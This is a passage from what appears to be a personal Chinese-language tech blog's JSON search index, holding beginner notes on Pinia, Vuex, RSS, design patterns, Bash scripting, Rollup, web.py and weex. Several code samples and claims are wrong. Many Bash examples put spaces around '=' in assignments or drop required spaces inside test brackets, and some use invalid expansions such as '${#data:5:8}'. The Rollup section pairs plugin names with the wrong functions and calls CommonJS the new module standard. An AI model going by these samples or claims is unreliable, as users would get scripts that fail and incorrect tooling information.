a\r}\r}\r})\rimport { useStore } from \u0026quot;./Test.vue\u0026quot;\rconst Store = useStore()\rStore.countPlusOne()\rStore.countPlus(3)\rStore.counter = 100\rActions创建的钩子，可以在各种事件，生命周期中进行触发\n","permalink":"https://xiaochenabc123.github.io/posts/124/","summary":"Pinia是vuejs的轻量级状态管理库，Pinia支持Vue devtools浏览器扩展工具，可扩展，模块化设计，热模块更新，轻量级，支持TypeScript，支持SSR服务器端渲染，支持vue2，vue3\nPinia作者也是vuex核心之一\n安装pinia\nnpm install pinia@next\n或者\nyarn add pinia@next\n导入pinia并且挂载为vue插件(在Vite脚手架下)\nsrc/main.js\nimport { createApp } from 'vue'\rimport App from './App.vue'\rconst app = createApp(App)\rimport { createPinia } from 'pinia'\rapp.use(createPinia())\rapp.mount('#app')\rsrc/stores/main.js（pinia通过defineStore函数来创建state，并且接收一个id来标识state）\nimport { defineStore } from 'pinia'\rexport const useDataStore = defineStore('data', {\rstate: () =\u0026gt; {\rreturn { count: 666 }\r},\r//state: () =\u0026gt; {\r//name: chen\r//},\rgetters:{ // getters计算属性\rdoubleCount(state){\rreturn state.","title":"Pinia---vuejs的轻量级状态管理库"},{"content":"vuex是一个专门为vuejs应用程序的设计的状态管理\n集中式存储管理应用的所有组件的状态\n多组件状态共享，不同的组件改变同一个状态\nvuex知识点：state，getter，mutation，action\n安装vuex\nnpm install vuex \u0026ndash;save\n或者\nyarn add vuex\n导入vuex包\nimport Vuex from \u0026ldquo;vuex\u0026rdquo;\n创建vuex实例\nnew Vuex.store()\n将vuex实例挂载在vue对象上\nindex.js\nVue.use(Vuex)\rconst store = new Vuex.Store({\rstate: {\rcount: 0\r}\r})\rexport default store\rmain.js\nnew Vue({\rstore // 将store对象添加到vue实例上\r})\r可以通过this.$store.state.count获取到状态（官方推荐将获取装态的操作放到computed中）\n使用解构获取状态： import { mapState } from \u0026lsquo;vuex\u0026rsquo; export default { mounted() { console.log(this.count) }, computed: { \u0026hellip;mapState([\u0026lsquo;count\u0026rsquo;]) } }\nGetter\ngetters: {\rgetCount(state) {\rreturn state.count + 1\r}\r}\r...\rexport default {\rmounted() {\rconsole.log(this.$store.state.count)\rconsole.log(this.$store.getters.getCount)\r}\r}\rmapGetters函数解构到计算属性（将store中的getter映射到局部计算属性）\ncomputed: {\r...mapGetters(['getCount'])\r}\r或者起别名(起别名是导入对象{})\ncomputed: {\r...mapGetters({mainData: 'getCount'})\r// this.mainData为this.$store.getters.getCount\r}\rMutation\n在vuex中不能直接修改store的值，而是通过Mutation方法来修改，例如：\nmutations: { // setData(state) { // state.count = 3\r// }\rsetMain(state, intData) { state.count = intData.count\r// 通过传参的方式修改\r}\r}\rApp.vue\nexport default {\rmounted() {\rconsole.log(this.$store.state.count)\rthis.$store.commit('setMain',{count: 123})\rconsole.log(this.$store.state.count)\r},\r}\r注意：Mutation方法内部的函数必须是同步的，是不能处理异步的\n在组件中也是可以使用Mutation解构的（Mutation）\n导入并且解构\nimport { mapMutations } from 'vuex'\rexport default {\rmounted() {\rthis.setMain({ count: 666 });\r},\rmethods: {\r// 通过mapMutations解构到methods里面，其别名也是一样的操作\r...mapMutations(['setMain'])\r},\r}\rActions（异步操作，也支持mapActions解构起别名）\nconst store = new Vuex.Store({\rstate: {\rcount: 0\r},\rmutations: {\rsetMain(state, intData) { state.count = intData.count\r// 通过传参的方式修改\r}\r},\ractions: {\rintData (context, mainData) {\rreturn new Promise(resolve =\u0026gt; {\rsetTimeout(() =\u0026gt; {\rcontext.commit('setMain', {count: mainData:count})\rresolve()\r},3000)\r})\r}\r}\r})\rApp.vue\nasync mounted() {\rconsole.log(this.$store.state.count)\rawait this.$store.dispatch('intData',{count: 123})\rconsole.log(this.$store.state.count)\r}\r推荐使用pinia来代替vuex，pinia对ts的支持程度更好，更轻量 https://github.com/vuejs/pinia\n","permalink":"https://xiaochenabc123.github.io/posts/123/","summary":"vuex是一个专门为vuejs应用程序的设计的状态管理\n集中式存储管理应用的所有组件的状态\n多组件状态共享，不同的组件改变同一个状态\nvuex知识点：state，getter，mutation，action\n安装vuex\nnpm install vuex \u0026ndash;save\n或者\nyarn add vuex\n导入vuex包\nimport Vuex from \u0026ldquo;vuex\u0026rdquo;\n创建vuex实例\nnew Vuex.store()\n将vuex实例挂载在vue对象上\nindex.js\nVue.use(Vuex)\rconst store = new Vuex.Store({\rstate: {\rcount: 0\r}\r})\rexport default store\rmain.js\nnew Vue({\rstore // 将store对象添加到vue实例上\r})\r可以通过this.$store.state.count获取到状态（官方推荐将获取装态的操作放到computed中）\n使用解构获取状态： import { mapState } from \u0026lsquo;vuex\u0026rsquo; export default { mounted() { console.log(this.count) }, computed: { \u0026hellip;mapState([\u0026lsquo;count\u0026rsquo;]) } }\nGetter\ngetters: {\rgetCount(state) {\rreturn state.","title":"简单使用vuex状态管理库"},{"content":"RSS指 Really Simple Syndication（简易信息聚合），RSS定义了方法来获取网站的标题以及内容，而且RSS可以被自动更新，RSS使用了XML进行编写（xml笔记：https://xiaochenabc123.test.com/archives/17.html）\n一个RSS例子：\n\u0026lt;?xml version=\u0026quot;1.0\u0026quot; encoding=\u0026quot;UTF-8\u0026quot; ?\u0026gt;\r\u0026lt;rss version=\u0026quot;2.0\u0026quot;\u0026gt;\r\u0026lt;channel\u0026gt;\r\u0026lt;title\u0026gt;小陈的辣鸡屋\u0026lt;/title\u0026gt;\r\u0026lt;link\u0026gt;https://xiaochenabc123.test.com/\u0026lt;/link\u0026gt;\r\u0026lt;description\u0026gt;xiaochenabc123.test.com\u0026lt;/description\u0026gt;\r\u0026lt;item\u0026gt;\r\u0026lt;title\u0026gt;简单了解设计模式\u0026lt;/title\u0026gt;\r\u0026lt;link\u0026gt;https://xiaochenabc123.test.com/archives/121.html\u0026lt;/link\u0026gt;\r\u0026lt;description\u0026gt;\u0026lt;![CDATA[设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具面向过程：逻辑化过程，以逻辑实现面向对象：思考有哪些对象，...]]\u0026gt;\u0026lt;/description\u0026gt;\r\u0026lt;content:encoded xml:lang=\u0026quot;zh-CN\u0026quot;\u0026gt;xxxxxxx\u0026lt;/content:encoded\u0026gt;\r\u0026lt;/item\u0026gt;\r\u0026lt;/channel\u0026gt;\r\u0026lt;/rss\u0026gt;\r可以看到是RSS频道的标题，是该频道的超链接，是该频道的描述，是定义该频道的某篇文章的，其中又有，分别表示文章标题，文章的超链接，文章的描述，其中还有表示文章的内容\nRSS注释和HTML的注释一样，\n注意：RSS是基于XML编写，所以全部元素都要有闭合标签，大小写敏感，属性值要带引号\nchannel元素除了上面那几个外，还有，， ，等等\n元素还有，，，等等\nRSS阅读器可以更好读取RSSfeed\n","permalink":"https://xiaochenabc123.github.io/posts/122/","summary":"RSS指 Really Simple Syndication（简易信息聚合），RSS定义了方法来获取网站的标题以及内容，而且RSS可以被自动更新，RSS使用了XML进行编写（xml笔记：https://xiaochenabc123.test.com/archives/17.html）\n一个RSS例子：\n\u0026lt;?xml version=\u0026quot;1.0\u0026quot; encoding=\u0026quot;UTF-8\u0026quot; ?\u0026gt;\r\u0026lt;rss version=\u0026quot;2.0\u0026quot;\u0026gt;\r\u0026lt;channel\u0026gt;\r\u0026lt;title\u0026gt;小陈的辣鸡屋\u0026lt;/title\u0026gt;\r\u0026lt;link\u0026gt;https://xiaochenabc123.test.com/\u0026lt;/link\u0026gt;\r\u0026lt;description\u0026gt;xiaochenabc123.test.com\u0026lt;/description\u0026gt;\r\u0026lt;item\u0026gt;\r\u0026lt;title\u0026gt;简单了解设计模式\u0026lt;/title\u0026gt;\r\u0026lt;link\u0026gt;https://xiaochenabc123.test.com/archives/121.html\u0026lt;/link\u0026gt;\r\u0026lt;description\u0026gt;\u0026lt;![CDATA[设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具面向过程：逻辑化过程，以逻辑实现面向对象：思考有哪些对象，...]]\u0026gt;\u0026lt;/description\u0026gt;\r\u0026lt;content:encoded xml:lang=\u0026quot;zh-CN\u0026quot;\u0026gt;xxxxxxx\u0026lt;/content:encoded\u0026gt;\r\u0026lt;/item\u0026gt;\r\u0026lt;/channel\u0026gt;\r\u0026lt;/rss\u0026gt;\r可以看到是RSS频道的标题，是该频道的超链接，是该频道的描述，是定义该频道的某篇文章的，其中又有，分别表示文章标题，文章的超链接，文章的描述，其中还有表示文章的内容\nRSS注释和HTML的注释一样，\n注意：RSS是基于XML编写，所以全部元素都要有闭合标签，大小写敏感，属性值要带引号\nchannel元素除了上面那几个外，还有，， ，等等\n元素还有，，，等等\nRSS阅读器可以更好读取RSSfeed","title":"简单了解RSS"},{"content":"设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具\n面向过程：逻辑化过程，以逻辑实现\n面向对象：思考有哪些对象，对象都有什么行为，行为的逻辑化\n设计模式的好处就是通用可复用，跨语言\n设计模式的6大原则：\n单一职责原则：指的是一个类只负责一个职责，职责越单一，越容易复用\n里氏替换原则：子类可以替换自己的父类，通过开闭原则，通过增加子类来实现父类的“修改”，子类可以添加自己的方法和属性，但是不能重写父类的方法\n依赖倒置原则：依赖于接口，而不是实现，面向接口编程，类于类之间不要存在直接依赖，而依赖于接口\n接口隔离原则：不同的功能应该用多种接口实现行为，而不能将接口功能直接概括全部行为，单独实现需要的接口\n迪米特法则：迪米特法则又叫最少知识原则，一个对象对其他对象应该保持最少的了解，降低类与类之间的耦合，避免一个类依赖于另一个类，而导致另一个类的影响\n开闭原则：指的是对扩展进行开放，对修改进行关闭，需要添加新功能，应该添加类，而不是修改原来有的类，保证程序的稳定性\n常见的设计模式有工厂模式，策略模式，单例模式，代理模式，适配器模式，装饰者模式，模版方法模式，观察者模式，抽象工厂模式，门面模式\n创建型模式：对象实例化的模式，创建型模式用于解耦对象的实例化过程 单例模式 工厂模式 抽象工厂 建造者模式 原型模式\n创建型模式就是指创建对象，在创建对象时通过共同的接口来指向这个新创建的对象\n结构型模式：把类或对象结合在一起形成一个更大的结构 适配器模式 组合模式 装饰器模式 代理模式 享元模式 外观模式 桥接模式\n行为型模式：类和对象如何交互，及划分责任和算法 迭代器模式 模板方法模式 策略模式 命令模式 状态模式 责任链模式 备忘录模式 观察者模式 访问者模式 中介者模式 解释器模式\n","permalink":"https://xiaochenabc123.github.io/posts/121/","summary":"设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具\n面向过程：逻辑化过程，以逻辑实现\n面向对象：思考有哪些对象，对象都有什么行为，行为的逻辑化\n设计模式的好处就是通用可复用，跨语言\n设计模式的6大原则：\n单一职责原则：指的是一个类只负责一个职责，职责越单一，越容易复用\n里氏替换原则：子类可以替换自己的父类，通过开闭原则，通过增加子类来实现父类的“修改”，子类可以添加自己的方法和属性，但是不能重写父类的方法\n依赖倒置原则：依赖于接口，而不是实现，面向接口编程，类于类之间不要存在直接依赖，而依赖于接口\n接口隔离原则：不同的功能应该用多种接口实现行为，而不能将接口功能直接概括全部行为，单独实现需要的接口\n迪米特法则：迪米特法则又叫最少知识原则，一个对象对其他对象应该保持最少的了解，降低类与类之间的耦合，避免一个类依赖于另一个类，而导致另一个类的影响\n开闭原则：指的是对扩展进行开放，对修改进行关闭，需要添加新功能，应该添加类，而不是修改原来有的类，保证程序的稳定性\n常见的设计模式有工厂模式，策略模式，单例模式，代理模式，适配器模式，装饰者模式，模版方法模式，观察者模式，抽象工厂模式，门面模式\n创建型模式：对象实例化的模式，创建型模式用于解耦对象的实例化过程 单例模式 工厂模式 抽象工厂 建造者模式 原型模式\n创建型模式就是指创建对象，在创建对象时通过共同的接口来指向这个新创建的对象\n结构型模式：把类或对象结合在一起形成一个更大的结构 适配器模式 组合模式 装饰器模式 代理模式 享元模式 外观模式 桥接模式\n行为型模式：类和对象如何交互，及划分责任和算法 迭代器模式 模板方法模式 策略模式 命令模式 状态模式 责任链模式 备忘录模式 观察者模式 访问者模式 中介者模式 解释器模式","title":"简单了解设计模式"},{"content":"shell中文意思为壳，shell可以接受使用者的指令，来调用服务，shell的种类很多，而比较常见是Bash，头部声明#!/bin/bash，表示bash是解释脚本的程序\n例如：\n#!/bin/bash\recho \u0026quot;hallo word\u0026quot;\r执行该脚本（注意：需要有可执行权限，sudo chmod +x hallo.sh）\nbash hallo.sh\n也可以直接执行\n./hallo.sh\n变量（首字符必须是字母，而且不能有bash的关键字，大小写敏感）\ndata = \u0026ldquo;hallo\u0026rdquo; echo $data data = \u0026ldquo;word\u0026rdquo; echo ${data}\n注意：如果使用单引号，单引号里面有变量的话，是无法生效的，而且还不能出现单引号，而且双引号可以使用变量和转义字符，美元符号（$）只有在使用变量才需要，在定义，更新，删除变量都不需要\n例如：\nname=\u0026ldquo;chenjunlin\u0026rdquo; data=\u0026ldquo;hallo, ${name} !\u0026rdquo; echo $data\n获取字符串的长度\ndata=\u0026ldquo;hallo word\u0026rdquo; echo ${#data}\n获取指定位置的字符 data=\u0026ldquo;hallo word\u0026rdquo; echo ${#data:5:8}\n删除变量（不能删除只读变量）\nunset data echo ${data}\n在shell脚本定义的变量只能在当前脚本交互中使用，可以通过export传递变量到子shell中，可以通过env或者export指令来获取当前shell的环境变量\n参数\necho \u0026ldquo;hallo word\u0026rdquo;; echo \u0026ldquo;要执行的shell脚本：$0\u0026rdquo;; echo \u0026ldquo;参数为：$1\u0026rdquo;;\n./hallo.sh abc\n获取参数的个数：$#\n以单一字符串的方式输出全部参数（要被双引号包裹）：$*\n以独立字符串的方式输出全部参数（要被双引号包裹）：$@\n获取上个命令的状态（是否执行成功，0为成功，非0为失败）：$?\n获取当前脚本shell进程的ID：$$\n获取后台运行的最后一个进程的ID：$!\n配合函数使用（参数也可以通过函数来传递）\nfunction abc(){\recho \u0026quot;参数1: $1\u0026quot;\recho \u0026quot;被执行的脚本为: $0\u0026quot;\r}\rabc hallo\r./hallo.sh\n参数1: hallo 被执行的脚本为: hallo.sh\n数组（不需要逗号分开，使用的是空格）\ndata = (1 2 3 4 5 \u0026ldquo;hallo word\u0026rdquo;) data[6] = \u0026ldquo;shell 666\u0026rdquo; echo \u0026ldquo;${data[6]}\u0026rdquo;\n获取数组的长度\n${#data[*]}或者${#data[@]}\u0026quot;\n删除数组或者元素（如果不带索引则删除全部元素）\nunset data[5]\n数组切片\necho \u0026ldquo;${data[@]:2:4}\u0026rdquo;\n数组元素更新\necho \u0026ldquo;${data[@]/2/100}\u0026rdquo;\n数学运算（bash并不支持运算，需要利用第三方工具）\nabc = 123 xyz =666 let data = ${abc} + ${xyz} echo $data\n或者\ndata = `expr $abc + $xyz` echo $data\ndata = $[$abc + $xyz] echo $data\ndata = $(($abc + $xyz)) echo $data\n注意：shell的关系运算符不支持字符串，只支持数字\n判断是否相等：-eq 判断是否不相等：-ne 判断是否大于：-gt 判断是否小于：-lt 判断是否相等或者大于：-ge 判断是否相等或者小于：-le\n例如：\nabc = 123\rxyz =666\rif [ $abc -eq $xyz ]\rthen\recho\u0026quot;相等\u0026quot;\relse\recho\u0026quot;不相等\u0026quot;\rfi\rif [ $abc -gt $xyz ]\rthen\recho\u0026quot;大于\u0026quot;\relse\recho\u0026quot;不大于\u0026quot;\r布尔运算符\n\u0026amp;\u0026amp;和||\n或：-o\n与：-a\n非：!\n例如：\nabc = 123\rxyz = 666\rif [ $abc -eq $xyz -o $abc -lt $xyz]\rthen\recho\u0026quot;相等或者小于\u0026quot;\relse\recho\u0026quot;不相等或者小于\u0026quot;\rfi\r字符串运算符\nabc = \u0026quot;hallo\u0026quot;\rxyz = \u0026quot;hi\u0026quot;\rif [$abc = $xyz];then\recho\u0026quot;相等\u0026quot;\relse\recho\u0026quot;不相等\u0026quot;\r判断字符串长度是否为0：-z（为0返回true） 判断字符串长度是否不为0：-n（不为0返回true） 判断字符串是否不为空：$（不为空返回true）\n例如：\na = \u0026quot;hallo word\u0026quot;\rb = \u0026quot;abchhh\u0026quot;\rif [ -z $a];then\recho \u0026quot;$a :字符串长度为0\u0026quot;\relse\recho \u0026quot;$a :字符串长度不为0\u0026quot;\rfi\rif [ ${b}];then\recho \u0026quot;$b :字符串不为空\u0026quot;\relse\recho \u0026quot;$b :字符串为空\u0026quot;\rfi\r文件运算符\n检查文件是否为目录（是返回true）：-d 检查文件是否为块设备文件：-b 检查文件是否为字符设备文件：-c 检查文件是否为普通文件（不是目录，也不能设备文件）：-f 检查文件是否可读：-r 检查文件是否可写：-w 检查文件是否可执行：-x 检查文件大小是否大于0（大于返回true）：-s 检查文件（目录）是否存在：-e 检查文件是否设置了SGID位：-g 检查文件是否设置了SUID位：-u 检查文件是否是有名管道：-p 检查文件是否设置粘着位(Sticky Bit)：-k\n例如：\ndata = \u0026quot;/etc/hallo\u0026quot;\rif [-r $data]\rthen\recho \u0026quot;文件可读\u0026quot;\relse\recho \u0026quot;文件不可读\u0026quot;\rfi\rif [-e $data]\rthen\recho \u0026quot;文件存在\u0026quot;\relse\recho \u0026quot;文件不存在\u0026quot;\rfi\recho和printf\necho可以输出普通字符串，转义，变量\n开启转义功能：echo -e \u0026ldquo;hallo!!! \\n\u0026rdquo;\n使用单引号可以原封不动的输出字符串\n将执行结果指向到文件中\necho \u0026ldquo;hallo word\u0026rdquo; \u0026gt; data\nprintf比较高级点，可以定义字符串的对齐方式，宽度等等，而且printf默认不自动添加换行符（echo自动添加），可以手动\\n\nprintf \u0026ldquo;%-8s %-5s %-6.3s\\n\u0026rdquo; root data main 6.12345\n上面这句脚本的%s表示输出字符串（类似的还有$c(整型输出),$d（字符输出）,$f（小数输出））\n%-8s表示一个宽度为8个字符，如果有-表示左对齐，没有就是右对齐，全部字符都被输出到8个字符宽的字符中，如果不足8个字符，则自动以空格填充，超出的话，也会全部显示（不会忽略）\n%-6.3s表示将其格式化为小数，.3表示保留3位小数\ntest命令用来判断条件是否成立，数值，字符，文件都可以判断\ntest命令使用的是关系运算符，例如：\ndata1 = 300\rdata2 = 200\rif test $[data1] -gt $[data2]\rthen\recho \u0026quot;data1大于data2\u0026quot;\relse\recho \u0026quot;data1小于data2\u0026quot;\rfi\rif判断（注意：如果else分支没有语句要执行，就不要写else了）\nif then elif else fi\nfor循环\nfor data in 1 2 3\rdo\recho \u0026quot;data : $data\u0026quot;\rdone\rwhile循环\ndata = 1\rwhile(( $data \u0026lt;= 10))\rdo\recho $data\rlet \u0026quot;data++\u0026quot;\rdone\runtil循环\ndata=1\runtil [ ! $data -lt 10 ]\rdo\recho $data\rdata=`expr $data + 1`\rdone\rcase \u0026hellip; esac语句（替代switch语句）\necho '请输入1到3之间的数字:'\recho '输入的数字为:'\rread data\rcase $data in\r1) echo '1'\r;;\r2) echo '2'\r;;\r3) echo '3'\r;;\r*) echo '没有输入1到3之间的数字'\r;;\resac\r跳出循环\nbreak（终止执行后面的循环，一般搭配判断使用）\ncontinue（只终止当前循环，不会终止执行后面的循环）\n函数\ndemo(){\recho \u0026quot;hallo word\u0026quot;\rreturn $(($1+2))\r}\rdemo 100 300\recho \u0026quot; $? \u0026quot;\r","permalink":"https://xiaochenabc123.github.io/posts/120/","summary":"shell中文意思为壳，shell可以接受使用者的指令，来调用服务，shell的种类很多，而比较常见是Bash，头部声明#!/bin/bash，表示bash是解释脚本的程序\n例如：\n#!/bin/bash\recho \u0026quot;hallo word\u0026quot;\r执行该脚本（注意：需要有可执行权限，sudo chmod +x hallo.sh）\nbash hallo.sh\n也可以直接执行\n./hallo.sh\n变量（首字符必须是字母，而且不能有bash的关键字，大小写敏感）\ndata = \u0026ldquo;hallo\u0026rdquo; echo $data data = \u0026ldquo;word\u0026rdquo; echo ${data}\n注意：如果使用单引号，单引号里面有变量的话，是无法生效的，而且还不能出现单引号，而且双引号可以使用变量和转义字符，美元符号（$）只有在使用变量才需要，在定义，更新，删除变量都不需要\n例如：\nname=\u0026ldquo;chenjunlin\u0026rdquo; data=\u0026ldquo;hallo, ${name} !\u0026rdquo; echo $data\n获取字符串的长度\ndata=\u0026ldquo;hallo word\u0026rdquo; echo ${#data}\n获取指定位置的字符 data=\u0026ldquo;hallo word\u0026rdquo; echo ${#data:5:8}\n删除变量（不能删除只读变量）\nunset data echo ${data}\n在shell脚本定义的变量只能在当前脚本交互中使用，可以通过export传递变量到子shell中，可以通过env或者export指令来获取当前shell的环境变量\n参数\necho \u0026ldquo;hallo word\u0026rdquo;; echo \u0026ldquo;要执行的shell脚本：$0\u0026rdquo;; echo \u0026ldquo;参数为：$1\u0026rdquo;;\n./hallo.sh abc\n获取参数的个数：$#\n以单一字符串的方式输出全部参数（要被双引号包裹）：$*\n以独立字符串的方式输出全部参数（要被双引号包裹）：$@\n获取上个命令的状态（是否执行成功，0为成功，非0为失败）：$?\n获取当前脚本shell进程的ID：$$\n获取后台运行的最后一个进程的ID：$!\n配合函数使用（参数也可以通过函数来传递）\nfunction abc(){\recho \u0026quot;参数1: $1\u0026quot;\recho \u0026quot;被执行的脚本为: $0\u0026quot;\r}\rabc hallo\r.","title":"shell脚本学习笔记"},{"content":"根据Rollup官方文档的介绍：Rollup 是一个 JavaScript 模块打包器，可以将小块代码编译成大块复杂的代码，例如 library 或应用程序。\nRollup和webpack那种偏向于应用打包不同，Rollup更专注于类库打包，像vue，react都是通过rollup打包的\n注意：webpack支持HMR（热模块更新），而Rollup并不支持，因此在应用打包的时候还是选择webpack比较好，但是如果只是打包类库之类的，并且还是基于ES6模块开发的，那么就可以考虑选择rollup了，因为rollup在Tree-shaking和ES6模块有着算法优势。因为Rollup对模块化是使用新标准，例如 CommonJS，而不是老旧解决方案\n提示：webpack已经支持Tree-shaking，并且在babel-loader的情况下也支持es6 module的打包\nRollup是ESM模块标准构建打包工具，源必须使用ESM模块标准，如果需要使用其他标准可通过插件完成\n安装rollup\nnpm install rollup\n查看帮助文档\nrollup \u0026ndash;help\n打包使用\nrollup -i index.js\r默认输出到终端\n指定输出到哪个文件\nrollup -i index.js --file dist.js\r还可以指定输出模块标准是哪个\nrollup -i index.js --file dist.js --format umd\rrollup -i index.js --file dist.js --format cjs\rrollup -i index.js --file dist.js --format iife\r打包\nrollup src/demo.js -f cjs -o dist/bundle.js\n注意：-f是\u0026ndash;format的缩写，表示生成代码的格式，例如amd，cjs，es，umd，iife\n使用UMD格式需要指明一个name属性，用来挂载模块到全局环境中\nrollup src/demo.js -f umd -o dist/bundle.js \u0026ndash;name hallo\n在global下声明一个名为hallo的对象，用来挂载全部的export模块\n一次打包多个文件\nrollup -i index.js -i main.js \u0026ndash;dir dist \u0026ndash;format cjs\n如果想监听文件是否改动，可以使用-w参数（\u0026ndash;watch），当文件发生改动的时候，重新打包\n配置文件（rollup.config.js）\nexport default {\rinput: [\u0026quot;./src/demo.js\u0026quot;],\routput: {\rfile: \u0026quot;./dist/bundle.js\u0026quot;,\rformat: \u0026quot;cjs\u0026quot;,\rname: \u0026quot;experience\u0026quot;,\r},\r}\r如果配置文件想使用module.exports = {}的方式，需要将配置文件修改为.cjs文件\n执行命令\nrollup -c rollup.config.js\n或者\nrollup \u0026ndash;config rollup.config.js\n打包阶段传递环境变量\nrollup.config.js获取设置的变量 console.log(process.env.DEV)\n执行时设置环境变量 rollup -c rollup.config.js \u0026ndash;environment DEV:1\n这个可以通过环境变量的不同，来做不同的处理，而不需要写多套config配置了\nRollup的Tree-shaking功能，只对使用的模块进行打包，对于没有使用的模块是不进行打包的\nRollup常用插件（vite使用Rollup作为打包工具，因此vite也可以使用Rollup插件）\n@rollup/plugin-json，打包json文件成js代码\n安装\nyarn add @rollup/plugin-json\n使用\nyarn rollup -c rollup.config.js \u0026ndash;plugin json\n如果不想在命令行设置要使用的插件，也可以在rollup.config.js下设置\nimport json form rollup/plugin-json\rexport default {\rinput: [\u0026quot;./src/demo.js\u0026quot;],\routput: {\rfile: \u0026quot;./dist/bundle.js\u0026quot;,\rformat: \u0026quot;cjs\u0026quot;,\rname: \u0026quot;experience\u0026quot;,\rplugins: [],\rbanner: '/**hallo word**/',\r},\rexternals: [\r'react'\r]\rplugins:[\rjson(),\r]\r}\r可以看到Rollup插件是函数，并且是顺序执行插件\nexternals可以指定不打包的模块\nbanner是指定打包完成文件头部的注释，会和rollup-plugin-terser插件冲突，代码压缩会删除全部注释\n也可以通过设置npm script脚本来简化命令\n'scripts':{\r'build': 'rollup -c rollup.config.js'\r}\r执行npm run build或者yarn build都可以执行\n@rollup/plugin-babel，将es6文件转换为es5文件\n@rollup/plugin-alias，设置模块别名，不需要写很长很长的路径，例如：\nplugins: [\ralias({\rentries: [\r{ find: 'main', replacement: '../src/main' },\r{ find: 'test', replacement: './test' }\r]\r})\r]\rindex.js\nimport main from 'main'\rimport test from 'test'\r@rollup/plugin-commonjs，让其支持CommonJS模块标准打包\n@rollup/plugin-vue，打包.vue文件，vue2和vue3使用的插件版本不同，vue3使用的是@rollup/plugin-vue6.0.0版本以上，而vue2使用@rollup/plugin-vue5.1.9版本，而且还需要搭配vue编译器使用，vue3使用@vue/compiler-sfc，vue2使用vue-template-compiler\n@rollup/plugin-node-resolve，允许打包第三方模块，这个插件需要搭配@rollup/plugin-commonjs使用，因为这个插件底层实现是使用了CommonJS模块标准\n@rollup/plugin-typescript，增加typescript支持，TypeScript版本要求3.7以及以上\n@rollup/plugin-image，支持图片加载依赖，图片会被编码为base64格式（体积会增加）\nrollup-plugin-terser，代码压缩插件，应该在打包完成后执行该插件，因此应该在output内部的plugins设置，老插件，这个插件没有设置default，import使用时需要{terser}\n@rollup/plugin-postcss，让其支持使用postcss以及postcss插件\n@rollup/plugin-serve，启动本地服务器\n@rollup/plugin-livereload，文件发生变化，进行实时刷新\n@rollup/plugin-eslint，打包时校验语法是否符合规范\n@rollup/plugin-copy，打包时删除debugger语句和函数，例如console.log\n@rollup/plugin-visualizer，加载WebAssembly模块\n","permalink":"https://xiaochenabc123.github.io/posts/119/","summary":"根据Rollup官方文档的介绍：Rollup 是一个 JavaScript 模块打包器，可以将小块代码编译成大块复杂的代码，例如 library 或应用程序。\nRollup和webpack那种偏向于应用打包不同，Rollup更专注于类库打包，像vue，react都是通过rollup打包的\n注意：webpack支持HMR（热模块更新），而Rollup并不支持，因此在应用打包的时候还是选择webpack比较好，但是如果只是打包类库之类的，并且还是基于ES6模块开发的，那么就可以考虑选择rollup了，因为rollup在Tree-shaking和ES6模块有着算法优势。因为Rollup对模块化是使用新标准，例如 CommonJS，而不是老旧解决方案\n提示：webpack已经支持Tree-shaking，并且在babel-loader的情况下也支持es6 module的打包\nRollup是ESM模块标准构建打包工具，源必须使用ESM模块标准，如果需要使用其他标准可通过插件完成\n安装rollup\nnpm install rollup\n查看帮助文档\nrollup \u0026ndash;help\n打包使用\nrollup -i index.js\r默认输出到终端\n指定输出到哪个文件\nrollup -i index.js --file dist.js\r还可以指定输出模块标准是哪个\nrollup -i index.js --file dist.js --format umd\rrollup -i index.js --file dist.js --format cjs\rrollup -i index.js --file dist.js --format iife\r打包\nrollup src/demo.js -f cjs -o dist/bundle.js\n注意：-f是\u0026ndash;format的缩写，表示生成代码的格式，例如amd，cjs，es，umd，iife\n使用UMD格式需要指明一个name属性，用来挂载模块到全局环境中\nrollup src/demo.js -f umd -o dist/bundle.js \u0026ndash;name hallo\n在global下声明一个名为hallo的对象，用来挂载全部的export模块","title":"简单使用Rollup模块打包工具"},{"content":"web.py是一个轻量级Python web框架，是由已故著名计算机黑客Aaron Swartz设计开发（如果你看过互联网之子这个电影，你应该对这位大佬很熟悉）\n安装web.py\npip install web.py\n导入模块\nimport web\n第一个例子\nimport web\rurls = (\r\u0026quot;/(.*)\u0026quot;,\u0026quot;hallo\u0026quot;\r)\rapp = web.application(urls,globals())\rclass hallo:\rdef GET(self,name):\rreturn \u0026quot;\u0026lt;h1\u0026gt;hallo web.py\u0026lt;/h1\u0026gt;\u0026quot;\rif __name__==\u0026quot;__main__\u0026quot;:\rapp.run()\r可以看到页面内容是return返回的，也可以open读取html文件，来返回回去，都是可以的\n","permalink":"https://xiaochenabc123.github.io/posts/117/","summary":"web.py是一个轻量级Python web框架，是由已故著名计算机黑客Aaron Swartz设计开发（如果你看过互联网之子这个电影，你应该对这位大佬很熟悉）\n安装web.py\npip install web.py\n导入模块\nimport web\n第一个例子\nimport web\rurls = (\r\u0026quot;/(.*)\u0026quot;,\u0026quot;hallo\u0026quot;\r)\rapp = web.application(urls,globals())\rclass hallo:\rdef GET(self,name):\rreturn \u0026quot;\u0026lt;h1\u0026gt;hallo web.py\u0026lt;/h1\u0026gt;\u0026quot;\rif __name__==\u0026quot;__main__\u0026quot;:\rapp.run()\r可以看到页面内容是return返回的，也可以open读取html文件，来返回回去，都是可以的","title":"Web.py学习笔记"},{"content":"weex是阿里巴巴在Qcon大会上宣布开源的一套跨平台移动开发工具\n支持ES6，跨平台，体积小，性能优异，编写规范\n官网：http://emas.weex.io/zh/\nweex调试工具：weexplayground（可以用来测试，要同局域网下）\n安装\nnpm install -g weex-toolkit\n检查weex\nweex -v\n初始化项目\nweex init demo\nnpm install\n或者\nweex create demo\n运行\nnpm run dev\nnpm run server\n编译js bundle\nweex compile 目录或者文件 打包文件存放的目录或者文件\n压缩编译\nweex compile 目录或者文件 打包文件存放的目录或者文件 -m\n注意：Weex目前只支持像素值，不支持相对单位(em、rem)，也不支持百分比，默认设计标准为750px，当真实像素不是750px的时候，会自动将设计标准映射到真实的尺寸中，这个映射比率叫scale，计算公式为：当前屏幕尺寸/750\n不支持层 z-index，具体层级叠加根据编写顺序显示，不支持使用border创建三角形\n运行流程：weex生成js 